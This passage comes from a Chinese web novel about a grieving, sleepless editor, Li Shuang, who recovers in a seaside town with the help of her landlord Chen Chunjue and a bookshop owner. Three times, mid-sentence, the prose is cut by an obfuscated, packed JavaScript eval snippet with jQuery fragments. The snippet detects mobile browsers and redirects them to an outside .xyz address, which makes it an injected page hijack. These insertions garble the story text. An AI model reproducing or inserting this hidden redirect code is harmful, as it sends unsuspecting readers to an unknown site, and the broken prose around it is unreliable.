“我说认真的,在这里玩得开心,好好休息。没什么大不了的。”陈春决的声音清亮,呼出雾气消弭,“那句话谁说的来着,冬天过去了,就是春天了。雪也停了,马上要融化没了。你趁着天气好,多出来逛逛。虽然这里确实没什么好玩的,但是你既然选择来这里休息,一定是有自己的理由的。或许,或许我们不会让你失望离开的。”
李霜忽然觉得他很像刚刚的烤红薯,热气腾腾,不逊色于刚才的日出,甚至能量更稳定更持久。
她不走心,敷衍了事:“是雪莱说的。”
“什么?”
“冬天来了,春天还会远吗。”
“啊,这样。”陈春决很少遇到难题,现在遇到了,看着她困倦的眼睛,也说不出其他的话。
李霜眉心微蹙,侧头看向被房屋遮住大半的海,静谧无人在意。
“那,我先回去了。你有什么事,直接打我电话就行,或者微信也行。”陈春决后退,朝她笑笑。
这次的笑很淡,回到他的距离里。
李霜想,此刻要留住他,毕竟天不亮就带她去看日出,哪怕是请人家吃一顿早饭作为感谢呢。
但她好困,还是选择转身开门,躺进冰凉的床里。
4. 04
李霜原本就是觉少的人。
研究生毕业后立马进入出版社工作,是一家在业内很有权威的出版社,可以在其中增长许多经验,所以李霜很认真对待这份工作。她不愿在父母面前再有差错,也不想让吴临白白费这份心。
在那家出版社工作两年,李霜是责任编辑,要负责的内容非常冗杂,平日总在校对文稿,反反复复,常常在熬夜之中度过,所以她睡眠很浅,每次也不会睡太久,每日五六个小时就足矣。
哪怕因交稿日期而感到焦虑,因繁琐过程而感到难捱时,她也从未想过放弃。
所以在文字海里,李霜疲惫的身躯下,她的眼睛也总闪着明亮的眸光。
直到那件事发生之后,李霜的睡眠变得更少,无法入睡,因为总会梦到叶幸然,往日明媚闪耀的人在梦里变得面目可憎。
可以理解。
因为理解,所以李霜就此睁着眼睛度过一夜又一夜。
青野镇的清晨寂静无声,房间的窗帘紧闭,隔绝外面灰蒙蒙的天。床头柜上的手机震动几声,屏幕亮起,是家庭群发来消息。
李霜侧躺在床,手在被子外,垂在床边,她的眼睛缓慢眨着,无视手机的声响,发怔。
她摸到温热的手腕,手指微动,拧了一下皮肤,整个人蜷缩起来,妄图在清晨入睡。
又是一夜未眠。
李霜的心脏猛地抽搐,却无法感知这种情绪。
远远的,急促的脚步声突兀出现,紧跟着清脆响亮的人声:“小海,你跑慢点,都是冰!”
是陈春决的声音。
李霜的眼睛微微睁大,踩雪声从窗外传来,似有人也在她心底闹出了动静。
接着,手机又嗡嗡作响。
房间与窗外同时消失声音,模糊的海浪声也不在。
李霜突然生出力气,伸手摸到冰凉的手机,拿过来解锁一看,是陈春决的消息。
陈春决:你在睡觉吗?
陈春决:要不要吃烤红薯啊^_^
干涩的眼睛盯着屏幕愣了两秒,光标在输入框闪着,一下一下。
莫名其妙的,一夜未睡的李霜,回答说好。
她隐约听到外面有跺脚声,然后跑开的动静,想必是他已经到门口等待李霜开门。
骨头“嘎吱”响两下,李霜离开温热的被窝,走到洗手间对着镜子自我审视几秒,好像时间是凝固的空间,而她被困在其中。
洗漱后,李霜看了眼自己青黑的黑眼圈,拿过素颜霜涂抹,才穿上大衣出门。
院子里的雪因为少有人走过,静止三四天后也并未融化,反而变得硬脆,像薄脆饼干。
李霜拉开院门,看到陈春决站在台阶上笑。
已过六点,天却算不上晴朗,扑灰灰的。
他却站在世界一角,穿着简单的蓝灰毛绒外套,笑得温暖,唇角弧度都是无法复刻的程度。
“我就猜你醒着呢。”
“嗯。”李霜走下台阶,试图去抓掉落的围巾,声音闷闷的,“要去哪里吃烤红薯?”
“我帮你。”陈春决向前两步,“等会你就知道哪里有烤红薯了,别着急。”
他捉过李霜身后的围巾,从她的肩侧捞到胸前,低眸,把围巾系好,动作轻柔。
两人的距离过近,他走上前时,李霜立即感受到阴影将她笼罩,甚至能听到上方平稳的呼吸声。她看到陈春决修长的手指,随着动作幅度,浮来香气。
他涂的护手霜是什么味道。好香。
“走吧,带你去吃烤红薯。”陈春决稍稍后退,转身走在窄小的巷子里。
李霜跟在身后,这是她第二次出门,还是由他带着出来。
“虽然天很阴沉,但还好不是特别冷。”他走着路,声音也未停下,“幸好,昨天去看日出的时候有太阳,要像今天这样就惨了,根本看不到日出。”
“嗯。”李霜想到那张躺在自己与叶幸然对话框的日出照片,敛眸,咬唇跟上。
走了大约十分钟,到达镇上一处十字路口。西南方向有一家棕色调的门店,左侧角落放着两个扭蛋机,右侧用红砖砌成的花池种着几株干枯的植物。屋檐下挂着一块米白色的布料,上面写着「书店」,简单二字。
“到了。”陈春决推开书店的木质门。
老旧的门吱呀响,干涩有些推不动。
李霜感觉自己仿佛走进了几十年前的老店,是坐落在最隐蔽角落,被遗忘的地方。
但这里,一推门就飘来烤红薯的味道,浓郁的,其中还有茶的清香。
越过陈春决宽阔的脊背,李霜看到不大的书店内部。四四方方,左侧部分多为书架,书架间隙很小,只能容纳一人通过。四周的墙上贴着老旧报纸,还安置着错落有致的木质书架,牢固支撑着书籍。右侧是些简单的文具区域,架子较矮,能一眼望到收银台,收银台旁的圆桌坐着一个男人,正啃着烤红薯。
陈春决走进,“朗哥,我也来蹭烤红薯了。”
“你今天又起这么早?”那位朗哥回头,看到李霜,询问,“这么快就把住户带来了。”
“对,带她来吃烤红薯。”
李霜一听,猜到陈春决大概是提过自己,或许是那次误会事件吧。
“李霜,这是田朗,朗哥是镇上酒吧的老板。”陈春决坐下,朝李霜招手,“你也过来坐啊。”
走过文具区,李霜才看到收银台旁边的烤炉,上面还烧着茶。
怪不得外面房子上空飘着烟雾。
“你好。”
“嗯,你好。”田朗不是话多的人,打过招呼就继续吃红薯,刷手机。
温暖。
陈春决戴上手套,从烤炉里拿出两个红薯,放在盘子里,红薯冒着热气。
李霜觉得自己也像躺在火炉里。
“椰子人呢?”陈春决把红薯皮剥下,送到李霜跟前。
田朗吹了两下红薯,声音模糊:“在后面整理书呢。”
话音刚落,收银台旁的帘子后面,就走出一个人。
她戴着用报纸叠出的帽子,把怀抱里的纸箱放在台面上,露出小巧的脸,脸上灰扑扑的,眼睛却亮晶晶,声音爽朗:“我今天一共就烤了五个红薯,你们都给我吃了!”
“还剩了俩!”陈春决回头,“程椰,你快过来,我把新住户带过来了,你们认识一下。”
“哇!”程椰拍掉手上的灰尘,拿起手巾擦擦,走过来朝李霜伸出手。
李霜眨眼,放下烤红薯,也伸过手去,冰凉的手被程椰握着。
她第一次感受到这么用力且热情的握手,摇晃着。
“我叫程椰,是这家书店的老板。你可以叫我椰子。”程椰在她旁边坐下来,把陈春决眼前的的烤红薯拿到自己面前,“太好了!你来了真好。这个镇上都没什么女生,我和他们根本聊不到一块去,整天就知道偷我烤红薯!”
“你好,李霜。”李霜笑。
“你快吃,趁热吃。”程椰把自己那份烤红薯扔到她的盘子里,“你太瘦了,多吃点。”
说话间,程椰又把陈春决刚盛出的烤红薯拿到自己面前,他张着嘴皱眉,又想起身去拿。
李霜却把那份放到他的盘子里,“没事的,我吃不了那么多,一个就够了。”
“那就给他吧。”程椰朝她笑。
“你的霜是霜降的霜吗?”
“嗯嗯,在霜降那天出生。”
“你从哪里来啊?”
“莺城。”
“哇,大城市!”程椰没顾陈春决在一旁猛戳她的胳膊,继续问,“你是做什么工作的啊?”
“出版社编辑。”李霜拧眉,随即放松下来,用勺子挖了口烤红薯。
她的回答令陈春决一怔,“原来是编辑啊,还挺适合你的。”
李霜笑:“是吗。”
程椰:“那不正好了!这鬼地方也没什么好玩的。你肯定喜欢看书,有什么想看就找我借,什么都有。”
她停顿两秒,想到之前陈春决说她这个人太过抑郁,又补充说,“你多过来找我玩,可以陪我聊聊天啦,也可以帮我整理书,反正这里也没什么好玩的。我还挺孤单的。”
这样热情的人,为何会在小镇里开书店,但李霜现在不可能问,只是回答,“可以。”
“好耶!”
田朗吃过烤红薯后,人就先离开,所以李霜未对他留下什么印象。
三人坐在烤炉旁喝茶,程椰把茶杯用热水胶管,而后盛出红茶,递给李霜,“你拿着暖手,你的手太凉了。”
“谢谢。”
陈春决根本插不上话,只好坐着闷头喝茶。
刚刚给她发消息果然是对的,出来走走,和人说说话,才会暖起来。
他透过烤炉烧水的热气,看着脸颊泛红的李霜,和那日见到的恍若两人。
那日找师傅打开锁后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599523|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他着急忙慌闯进进屋,看到躺在床上的人,蜷缩着,眉头紧缩,脸色惨白,像只淋雨的小兽,可怜又无助。
陈春决与她素未谋面,却内心像被拧了一把,才连忙将她揽到怀中,轻声叫醒。
喝过茶,李霜回头看向书架,“你这里有《在绝望之巅》吗?”
程椰一愣:“齐奥朗的?”
“嗯。”
“有,我给你找找。”程椰起身,走到书架找书,而李霜也起来在周围转转。
身后跟着陈春决,不紧不慢跟着她走来走去。
李霜想笑,但看到书架上放着的一本书,愣住。
“怎么了?”身后的脑袋冒过来,敏锐地察觉她的情绪。
“这本书是我跟着做的。”蓝色的封面,熟悉的作者,李霜记得这本书耗费了半年时间。
“真的吗!你真的很厉害。”陈春决真心夸赞。
可李霜脸上闪过瞬间的落寞。
如果做过太多错误的选择,以至于无法分清是哪个关键的选择,才让自己走到今天这个地步的话,又该如何。
“李霜,李霜。”陈春决绕到她身前,微微俯身,“你想到了什么?”
“我——”
木质门发出刺耳的声音,门口出现一个小女孩,戴着熟悉的粉色毛线帽,小碎步跑进来。
“哥哥……哥哥他摔倒了,怎么办啊。阿诀哥哥。”小女孩流着泪,呜咽。
“怎么回事?”陈春决想自己早上还让向海走路慢点,结束还真摔倒了?
“就在前面,他让我过来找你,你快过去,好不好?”
陈春决一把抱起小女孩,“别哭,别哭,我带你去找哥哥。”
李霜担心他一个人无法应付,也跟过去。
阳光落在大地,陈春决抱着小孩在冰上加快脚步,小孩眼泪汪汪。
李霜被阳光照得晃眼,她想,那个人本身就是善良的人,才会如此吧。
转过弯,下坡道上躺着一个少年。
“小海,没事吧?”陈春决把小女孩放下,朝李霜示意,“你看好啾啾。”
啾啾也不见外,直接抓住她垂在一侧的手,小而软的手就握着她,令李霜下意识握紧。
被叫做小海的少年并不严重,大概率是摔倒尾骨,陈春决扶着他起来,“我早上是不是才和你说过,不要跑。”
“哥,你别说了,真疼,怎么办啊……”
“还能怎么办,去医院检查一下。”
“我没钱……”少年收敛,支支吾吾。
“我能让你付钱吗!”
难得听到陈春决略有生气的语调,李霜失笑。捏着她手的啾啾,抬头喊她:“姐姐,我能跟着去医院吗?我想去看哥哥。”
“好,我们跟着一起去。”
陈春决开着一辆越野车,带着四个人开向县医院。
三十分钟的车程,到达医院,把小海送到门诊检查。李霜和啾啾坐在大厅。
县医院虽然人不多,但不远处急诊却人来人往,哪里都会有意外,都会有眼泪。
“姐姐,哥哥不会有事吧?”
“不会的,哥哥只是摔倒了,休息一段时间就好了。会重新活蹦乱跳的。”李霜摸着小孩的发顶,顺毛。
“我想过去看看。”啾啾跳下板凳,向前走,李霜只得跟上。
空旷的医院大厅,远处响起急促的急救铃声,由远及近,门口拉进来一位病人,垂下的手流着血,落在医院光洁的大理石地面上,刺眼。
李霜的脑袋嗡地一下,身体摇摇欲坠,耳鸣令她捂住耳朵,仿佛流出鲜血。
下着大雨的路上,翻倒的车辆,李霜听到叶幸然在喊她,沾满血的手摸上她的脸。
她说了什么,为什么都不记得了。
医生怎么说的。
“你太过害怕面对她离开你的画面,于是大脑替你抹除了那最后一面。”
你太过于愧疚。
在收费处缴费的陈春决刚出来,就看到李霜倾斜的身体,下秒她就倒在地,身旁的啾啾被吓到,蹲在地上抓着李霜的手臂,不敢放开。
“李霜——!”
李霜昏迷之前,又听到陈春决在叫自己。
好想知道,本来平平无奇的名字,为什么陈春决叫出来时,显得既清澈又有力量呢。好像叫的不是她本人,而是要唤出真实的她。
好奇怪,让人好想多听几次。
5. 05
李霜来到青野镇这件事,李铭安与夏梅两个人都不知道。她是在那天凌晨收拾好行李,清晨出逃离开的。
她的叛逆来得格外晚,却没想到因为逃婚,让她失去了自己平淡生活里最幸福的部分。
那时,在医院醒来后,他们用近乎冷漠的语气告诉李霜,叶幸然因为车祸去世。叶幸然的父母通情达理,双方都是认识多年的熟人,他们只是请求李霜的父母,不要让李霜出现在他们的眼前,以此就可以结束。
李霜因昏迷几日,错过叶幸然的葬礼,也不知她埋在何处,所以没有实感,仿佛她没有死亡。
她出院后,去过叶幸然的家,已经被彻底清空。李霜又不死心地去往她的父母家,被伤心欲绝的叔叔阿姨赶出家门。
自那之后,李霜被频繁送往去心理咨询室。
她见过许多个心理医生,诉说过许多遍两人的友情,却都心如刀割。
她累了,不再回忆,也不再诉说,只是请求医生多开些能够睡觉的药。
医生回复,这并不能解决你的问题,只会恶化。
李霜转身离开,医生放下笔,询问:“你的好朋友,有没有想和你一起去的地方?你可以去看看,多和人交流交流。李霜,春天会来的,都会好的。”
叶幸然想去的地方?
她去过许多地方,不像李霜,每次出行都胆战心惊,困难重重,叶幸然永远自信明媚。
之前出车祸的车上的私人物品,都被包裹起来,放置李霜的房间里。里面有叶幸然的笔记本,她的字迹潇洒肆意,某页上写着:青野镇,曾经出过舆论危机,旅游业跌至低谷。可同事说很漂亮,等小霜决定不结婚之后,就带她去散心。
那就是青野镇了。
于是李霜来到这里。
29岁的李霜,迟来的自由。
/
浓重的消毒水味,吵闹的人声,隐隐作痛的手背,李霜还未掀开沉重的眼皮就听到陈春决的声音。
“阿姨,你们小声一点说话可以吗?我朋友好久没睡觉了,让她打针睡一会吧。谢谢,谢谢。”
“阿诀哥哥,她醒了。”坐在病床旁的啾啾,察觉到李霜的动静,惊喜着。
闻言,陈春决转过身,看到李霜正盯着他,眨眼未说话。
“是不是很渴?”他边说话边拿起一旁的暖壶,倒出热水,“凉一凉再喝。”
“我想坐起来。”李霜气若游丝。
“好。”陈春决扶着她坐起来。
李霜才察觉到自己盖的被子上,还有他的外套,熟悉的青松味。原来不是护手霜,是香水味。
却感受不到油腻,吴临白总是喷些烂俗的香水,浓重又复杂。
“是不是哪里不舒服?”
刚刚李霜在大厅昏倒,一旁的护士也受到惊吓,连忙推个病床来将她拉去检查。
急诊科医生跑来,检查完毕,皱着眉和抱着啾啾的陈春决说话。
“她都烧到将近四十度了,你都没察觉吗!”医生呼出一口气,语气尽量平和,“赶紧去打吊瓶,也去查个血常规。”
打上吊瓶后,血常规的结果也出来,医生站在病床前,询问。
“也没什么,就是有些炎症。刚刚检查时还吐了,肠胃也不怎么好吧。她平时身体怎么样?”
“呃……不算好吧。总是睡不着觉,精神气也不太好,她还总吃安眠药。”陈春诀深吸一口气。
医生睨了他一眼:“好好照顾她,吊瓶得连打三天。少吃什么安眠药,你干什么吃的!能不能有点作用,还有孩子。”
“啊……?”
陈春决望着她,内心叹息,“怎么不说话,喉咙疼吗?”
李霜抓着他的外套,蓝色毛绒,而他只穿着黑色卫衣,“你不冷吗?”
“不冷啊。”
“不好意思,我是不是发烧了。刚刚昏倒把啾啾吓到了吧,小海他呢,好多了吗?”
陈春决觉得这位房客是不是存心来惹他生气的,哪有刚醒来就担心其他人的。
你自己呢?
啾啾把陈春决挤开,扑过来,声音甜腻:“姐姐,我没有被吓到哦。你让我摸摸你烧退了吗?”
小孩刚想要踩着椅子去够李霜的额头,就被陈春决抱住:“别撞到姐姐打针的手,哥哥抱着你摸。”
啾啾被抱起,陈春决微微俯身,让小孩能够到她的额头。
小孩叽叽喳喳:“好像不是特别烫了。姐姐会好的,啾啾给你呼呼。”
淡淡的温热的风扑面而来,李霜险些流出泪水,她掩盖住情绪,轻笑:“知道了,会好的。”
停顿两秒,她对着陈春决说,“你快把啾啾带走吧,医院不干净。”
“嗯,我已经让朗哥开车来接他们了。小海屁股疼,在外面站着等呢。”
“接他们,你不送他们回去?”李霜诧异。
“你刚刚打针的时候,吐了一回。医生让你留院观察一晚。”
“不用吧。”李霜看向药水,一共悬挂着三瓶,一瓶是空的,“打完这些就可以走了吧。”
“这不是可以商量的事,李霜。”陈春决的声音瞬间冷冽。
啾啾抓着他的卫衣领,“姐姐在生病,不能凶她。”
李霜低首垂目,没说话,盯着手背的针发怔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599524|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
少顷,陈春决的手机震动,田朗打来电话,他接起:“朗哥,你在停车场等我,我送孩子们过去。”
“李霜,听我的好不好?在医院躺一晚,没事了我们再离开。”
“好。”李霜滑进被子里,只露出眼睛和啾啾对视。
啾啾眼睛笑弯弯,大人原来也怕打针啊。她挥手,“姐姐拜拜,明天见。”
“明天见。”
送走小海和啾啾,陈春决拿着热水袋进入病房,摸摸刚才装热水的纸杯,拍拍背对着他的李霜。
“水凉了,喝一口吧。”
“陈春决,我是不是特别难搞的住户啊。”声音沉闷,看不到她的脸,也能知道是张苦瓜脸。
“起码还活着。”
李霜不合时宜地笑出声,下秒坐起来喝水,吞咽两下,眼睛锁定住某个没意义的角落,这样她才能有勇气交流。
“抱歉,给你添麻烦了。是不是吓到你了?”
“只是发烧,好了就行。我哪有那么容易被吓到。”
李霜再未说话,久到以为沉默会继续延续时,他突然倾身,把隔壁阿姨快要掉落的被子塞回去,声音很轻地说了句,“李霜,没什么大不了的,你别害怕。”
他回身,注视着她的眼眸。
疲惫的,委屈的眼睛。明明是双漂亮的眼睛,为什么总噙满泪水,让人忍不住心疼,忍不住想为她擦去无用的泪水。
良久,陈春决只是弯腰将热水袋放进被子里。
“饿不饿?我去医院食堂给你买碗粥喝。”他边捏紧被角边抬眸,“医院的食物不是很好吃,你先垫一下,明天回去我带你去吃镇上的野馄饨。”
此时已过正午,阳光透过病房的纱帘射进来,照在陈春决的脸上。他的眼睫长而密,下眼睑形成小片阴影。
李霜却无法注视其他地方,他似乎非要等到回应,这次不允许沉默应对。
手背上的针传来密密麻麻的痛感,她稍稍放松,呼吸也跟着缓慢,视线离开他明亮的眼睛。
“好吃吗?”
“好吃,去不去?”
“好,我们去吃馄饨。”
他听到这里,才收敛起之前的愤怒,真正笑出声,乱糟糟的头发在光下闪耀,像只乖顺的大型犬。
只会因你不珍视自己而懊恼,暗自生气。又会因为你答应他某件事,而重新摇起尾巴。
李霜想,这些事做起来并不难,所以想再多见几次这样的笑。
这让她觉得有意义,觉得这个选择是对的。
不害怕,同时一切真的没什么大不了的。
真的吗,她心安理得吗?
6. 06
翌日,大量的雪融化,气温骤然下降,泥水反射不出阳光的干净。县里的街上熙熙攘攘,比青野镇要热闹,但小镇拥有独特的气质。
这种气质是经过岁月的无视才能形成的,看似蒙了一层灰,实则是透明的纱,像是降雪的玻璃球,静置在被遗忘的角落里,但它却丝毫不在意,所以独特。
经过一夜难得的安眠,李霜的身体状况有好转,医生过来检查后,开了药单,按着单子在镇上的诊所打吊瓶即可。
在出院前,那位性子急的急诊科医生刚下夜班,看到两人出来,他很快锁定陈春决那张熟悉的脸。
“好好照顾你朋友,可别再晕倒了。”
是李霜不知道的情节,她露出疑惑的神情,陈春决才把昨天自己被医生训的过程告诉她。
李霜竟笑出声,“他好可爱。”
面前的陈春决炸毛,李霜收敛笑容,朝着车走过去,“好了,快去吃饭吧,我饿了。”
“我和你说,那家馄饨店是我吃过最好吃的馄饨,我经常去,那里的奶奶都认识我了,每次都会多给我一点,耶。”陈春决开着车,也不停讲话,但昨晚因照顾她,没有休息好,难免声音有些沙哑。
李霜从副驾驶座前拿出一瓶水,拧开递给他。
陈春决喝过水,问她:“你困不困,要不要睡一会?”
“不困,我昨天睡得很好。”
很莫名地,他在一旁陪着时,李霜睡得格外安稳。
像夜里受惊的小动物,终于找到可以依靠的不危险的大型动物,抱着尾巴好好睡上一觉。
“睡得好就行。”小狗尾巴又摇上天。
“多亏了你。”李霜转脸去看窗外转瞬即逝的风景,大海在远处,阳光照得波光粼粼,晃眼。
回程路上,没有紧急的事,也没有必须要做的事,车内响着不知名的钢琴曲,节奏舒缓。
李霜情绪随着车速而越发浓郁,她尝试心理医生的方法,与人主动交流。
“你还记得,你昨天问我那本书让我想到了什么吗。”
“啊,你说你制作的那本书吗,记得啊,你想到了什么,当时有点——”陈春决哽住,因为那时她的眼睛落寞。
“想到了我很好的朋友,那本书是我跟的第一本书,所以压力很大。我记着那时候每天就睡四五个小时,她就会每天监督我好好吃饭,还会来接我下班。这本书结束后,她还送了我花。”
“说实话,我不是很喜欢花,我觉得没有什么用处。但她送的我那束花,很漂亮,我忘记叫什么花了,粉粉的。她说是《千与千寻》里面出现的花,但我没看过这部电影。我当时说等着之后我看,但我没有。”
“为什么一直没有看,不喜欢吗?”
“嗯……也不是。就是,有的时候,你觉得还有时间,一直觉得还有时间,但哪天就突然没时间了。我还记得她来接我下班的样子,站在车前,对着我笑,然后拉我去吃各种好吃的。”
有她在的人生,才更鲜活,不然我是多么无趣的人啊。
而我怎么敢的,只有我活下来。
“所以你才会跑到小镇吗,想要找回自己的时间?”陈春决双手握紧方向盘,侧头看了她一眼,又转而看向前方。
感觉她的情绪没有什么波澜。
对于他的说法,李霜挑眉,转了下头。
眼睛看向他,安静的。
他感受到目光,以为自己说错话,“怎么了?”
“我自己的时间……”她的时间是哪刻消失不见的,怎么会不记得。
陈春决没接话,因为那不是说给他听的,只是在沉默一阵后,他突然转移话题。
“我之前也有很多时间是丢失的,我之前是在北城上班的。你知道吗,我根本不适合上班,大三的时候,手里有父母给的钱,朋友怂恿我投资他的咖啡店,我就投了,结果真赚了不少钱。我那时候以为就是这么简单的,然后毕业就去大厂上班,我才发现原来不是那么回事。”
“原来人根本不可能准时下班,下班了也不会拥有自己的时间,我好像是在夹缝里,于是我干了两年我就放弃了。还是把钱投出去比较适合我,我根本不是格子间的人,无法忍受看不到日落的生活。”
“你还有这种经历。”李霜觉得不可思议。
“不像我有的经历吗?”
“嗯,我以为你是自由的,不会有这种社畜体验。”
“怎么会,我也是当时辛苦找工作的大学毕业生啊,也没有一直自由的。”
陈春决和她讲自己在大厂的经历,没过一会就回到镇上,放下车,两人走在上坡路上。
他跺脚,把刚踩过的水跺掉,“我当时以为,自己是在走上坡路,熬过去就赢了,但完全不是。我在乎的根本不是谁玩心机把项目抢过来了,也不想揣摩老板的心思。我在乎的仅仅是喝啤酒看日落,踩到沙子里才是真实的。”
“好像是,每个人的追求不一样。只有走过错的路,才知道属于自己的对的路是哪条。”
“那你是在寻找吗?”陈春决转过身,背对着光,李霜根本无法望过去,看不清。
“不是。我只想大睡一觉,什么都不想。我想每天都只做没意义的事,也不想寻找到什么。”李霜停下来,遮住阳光。这个季节很两难,枝丫没有麻雀蹲着,路边没有盛开的花,大家都只是枯干败叶,没有理由去劝说任何人所谓的春天会更好。
李霜不愿有这样的期盼,她只愿想停下就停下。
陈春决瞳孔微缩,看向她。
海风很大,李霜站在路中央,她的头发被海风扰乱,只得偏头去整理,挽在耳后,露出洁白的脖颈,过于易碎。整个人散发出淡淡的雪的冷感。
他走上前,替她遮住耀眼的光芒,“那就什么都不做,只睡觉,只吃好吃的,望着海发呆也行,或者烤篝火,我们吃烤肉也可以。”
话题越跑越远,李霜觉得自己被环抱住,轻柔地。
她抬头,眼睛一眨不眨地望向他,那双眼睛辽阔而包容,好似你是如何都会被接纳。
“我们先吃馄饨吧。”李霜侧过身,走向不远处的馄饨店。
她努力将心底的不知名的悸动按压。
/
这家馄饨店的老板是一位奶奶,陈春决说叫她江奶奶就好。
馄饨店是那种一看就有许多年历史的老店,窄小,虽然破旧但有烟火气。
两人在门口的桌前坐下,等馄饨的间隙,陈春决去找奶奶要了一杯热水,他把矿泉水兑进去,放到李霜跟前。
奶奶的锅前冒着热气,整个屋烟雾缭绕,却温暖舒适。
李霜分不清是此前两人说过的话,还是此刻太过安逸,令她沟通的欲望上升。
她吸鼻子,喝了口温水,“我能不能问小海和啾啾——”
不知是不是会越界。
但陈春决知道,接上话:“你想问他们俩怎么回事?”
“嗯,你知道吗?”
“他们俩是亲兄妹,家里还有奶奶,只有他们三个人了。他们俩的爸爸是工地上的工人,前几年的时候出了事故,在工地去世了,他们的妈妈就每天带着他们去工地上闹,但是没要到赔偿,所以他妈妈就跑了。然后只靠奶奶来照顾他们,一直到现在,得两三年了吧。那天小海是在送奶,补贴家用。镇上的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599525|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都知道他们家困难,就给小海安排了这个活。”
“现在还有送奶的?”
“有啊,镇上都是老年人,早上都喜欢要热奶。”
“这样。”
“他们俩上学吗?”
“嗯,镇里有帮助。啾啾明年上小学也会有资助的。”
“那挺好的。”李霜并不想问更深入的问题,问到这里就不说话了。
这时馄饨已做好。
陈春决接过奶奶孙子送过来的馄饨,把勺子放进去,放在李霜面前,“热,你搅一搅再吃。”
馄饨里有蛋丝,有菜叶,近乎透明的皮包裹着肉,一颗一颗,饱满。
李霜忍不住尝了一口,被烫到,喝了口矿泉水。
陈春决笑:“你慢点吃,没有人抢。”
“嗯,你也吃。”别老看着我。
两人吃完,付过钱离开店。大海近在咫尺,海浪拍打礁石,海鸥在空中旋转。
“现在还有海鸥。”李霜站在路边,向高处望去,有海鸥经过她的头顶。
“嗯,得到三月底才离开。”陈春决看她难得有兴趣,靠近她,站在身后询问,“想不想喂海鸥?”
“可以?”
“当然可以,你等我一会。”
李霜看他跑远,跑到上次骑电车的地方,他和坐在遮阳伞下的人要了包海鸥食物,很快又跑来。
她突然觉得,陈春决上学时一定有很多女孩围观,在运动会上,在篮球场上。
一定是那种很明亮的人,但不张扬。
能骗走不少小女孩。
气喘吁吁的陈春决到达眼前,把小包海鸥食物放在她的手上,温热的触感只停留一瞬。
李霜抿嘴,谨慎地把食物倒出来,但不太敢伸出手,她瞄了眼站在栏杆上的海鸥,总感觉它们看自己的眼神不是很友好。
在犹豫之时,有手握住她的手腕,轻轻向上抬。
陈春决站在她身后,两人的衣服摩擦,静电使她的头发缠上他的外套。他的声音轻快,提醒她,“手抬高,别怕。”
有海鸥俯冲,陈春决用另只手放在李霜的头顶上方,遮挡住。
海鸥却不在意,仅仅叨走了食物。
一只两只,手中的食物很快不见,有些掉在地上,海鸥便停在她的脚边吃。
李霜后退,却退到他的怀里,身体瞬间僵硬。
陈春决感受到她柔软的头发拂过鼻尖,痒痒的,也怔住,没意识到她已经从手中挣脱开,稍稍移开身体。
大片的新鲜空气重新涌入两人的间隙,无事发生。
李霜把剩下的食物放在地面,起身喊他,“走吧,我还要去趟书店。”
昨日在医院时,程椰来过电话,李霜想自己要先去趟书店。
陈春决回神,跟上她的脚步,“我把你送过去。”
一路无话,很快到达书店。
陈春决踢走路边的石子,在李霜推开门的瞬间,想到了什么,拦住她。
“哎——别忘了打针。下午,我接你去诊所打吊瓶。”
“我自己去就好。”李霜知道诊所在哪里。
“没事,不要自己打吊瓶,我陪你去。”陈春决皱眉,不明白她为什么拒绝。
“真不用。”
“好了!这么冷,你们俩在这开着门聊啥呢!”程椰把半开的门拉开,手勾搭上李霜的肩膀,“我陪小霜打吊瓶,你忙你的去吧。”
李霜盯着他的背影离开,叹了口气。
温暖的书店,程椰倒茶,“小霜,快过来暖暖手。别看了,他就是去帮人修屋顶,又不是看不着了。”
“嗯嗯。”
7. 07
“他还帮人修屋顶?”李霜关上木门,走到桌前坐下。
“对啊。他当初买了房子想做民宿。我记着他说当时人家急需用钱,他就低价入手了。那卖房的哥到处宣扬他是个好人,让他在镇里出名了。看到镇里有老人的房子出现问题,陈春决就忍不住帮忙。久了就和镇里的人关系挺好的,都挺喜欢他的。”程椰给李霜倒上茶,就转身去书架找书。
“原来是这样,那他在这里混得挺好的。”确实是陈春决的性格,想到他笑起来鼻翼侧的那颗痣,让他整个人更生动,李霜也忍不住笑。
红茶浓厚,第一杯的味道比较重,李霜感觉程椰不太会泡茶。但好喝就好,热爱生活的人总挑不出错。
她羡慕这样的人,于是猛灌两杯茶。
“你要的书找到了。”程椰看她一脸悲壮地喝茶,笑出声,“小霜,喝不了就不喝,那边还有饮料。”
“没有,挺好喝的。”李霜接过书,是她想要的那本《在绝望之巅》,“谢谢你帮我找书。”
“这有什么,之后还想看什么就告诉我,我帮你找。”
“你这里借书要怎么计算啊?”李霜翻书随便一问。
